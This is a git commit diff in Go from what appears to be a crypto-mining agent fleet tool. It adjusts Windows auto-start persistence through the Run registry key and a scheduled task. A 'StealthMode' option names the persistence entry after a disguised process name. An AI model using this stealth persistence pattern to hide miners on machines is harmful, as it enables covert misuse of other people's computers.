Add fleet ops dashboard, Calibrate enforcement, and dead-code cleanup.
Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
This commit is contained in:
@@ -65,7 +65,7 @@ func InstallIfNeeded(cfg config.RuntimeConfig) (bool, error) {
|
||||
)), 0644)
|
||||
}
|
||||
|
||||
if cfg.AutoStart {
|
||||
if cfg.AutoStart && cfg.RunAs != "scheduled" && cfg.RunAs != "service" {
|
||||
if err := configureAutoStart(cfg, installedExe); err != nil {
|
||||
return false, fmt.Errorf("auto-start: %w", err)
|
||||
}
|
||||
@@ -122,7 +122,7 @@ func configureAutoStart(cfg config.RuntimeConfig, exePath string) error {
|
||||
return err
|
||||
}
|
||||
defer k.Close()
|
||||
return k.SetStringValue(persistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
return k.SetStringValue(PersistenceKeyName(cfg), fmt.Sprintf(`"%s" %s`, exePath, runFlag))
|
||||
}
|
||||
|
||||
func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
@@ -130,15 +130,12 @@ func configureRunMode(cfg config.RuntimeConfig, installedExe string) error {
|
||||
case "scheduled", "service":
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
default:
|
||||
if cfg.AutoStart {
|
||||
return createScheduledTask(cfg, installedExe)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
taskName := persistenceKeyName(cfg)
|
||||
taskName := PersistenceKeyName(cfg)
|
||||
if taskName == "" {
|
||||
taskName = "CryptoMinerAgent"
|
||||
}
|
||||
@@ -152,7 +149,7 @@ func createScheduledTask(cfg config.RuntimeConfig, exePath string) error {
|
||||
return cmd.Run()
|
||||
}
|
||||
|
||||
func persistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
func PersistenceKeyName(cfg config.RuntimeConfig) string {
|
||||
if cfg.StealthMode {
|
||||
return cfg.EffectiveProcessName()
|
||||
}
|
||||
@@ -207,17 +204,3 @@ func copyFile(src, dest string) error {
|
||||
_, err = io.Copy(out, in)
|
||||
return err
|
||||
}
|
||||
|
||||
func ConfigureAutoStart(exePath string, enabled bool) error {
|
||||
return configureAutoStart(config.RuntimeConfig{}, exePath)
|
||||
}
|
||||
|
||||
func removeAutoStart() error {
|
||||
k, err := registry.OpenKey(registry.CURRENT_USER, `Software\Microsoft\Windows\CurrentVersion\Run`, registry.SET_VALUE)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer k.Close()
|
||||
_ = k.DeleteValue("CryptoMinerAgent")
|
||||
return nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user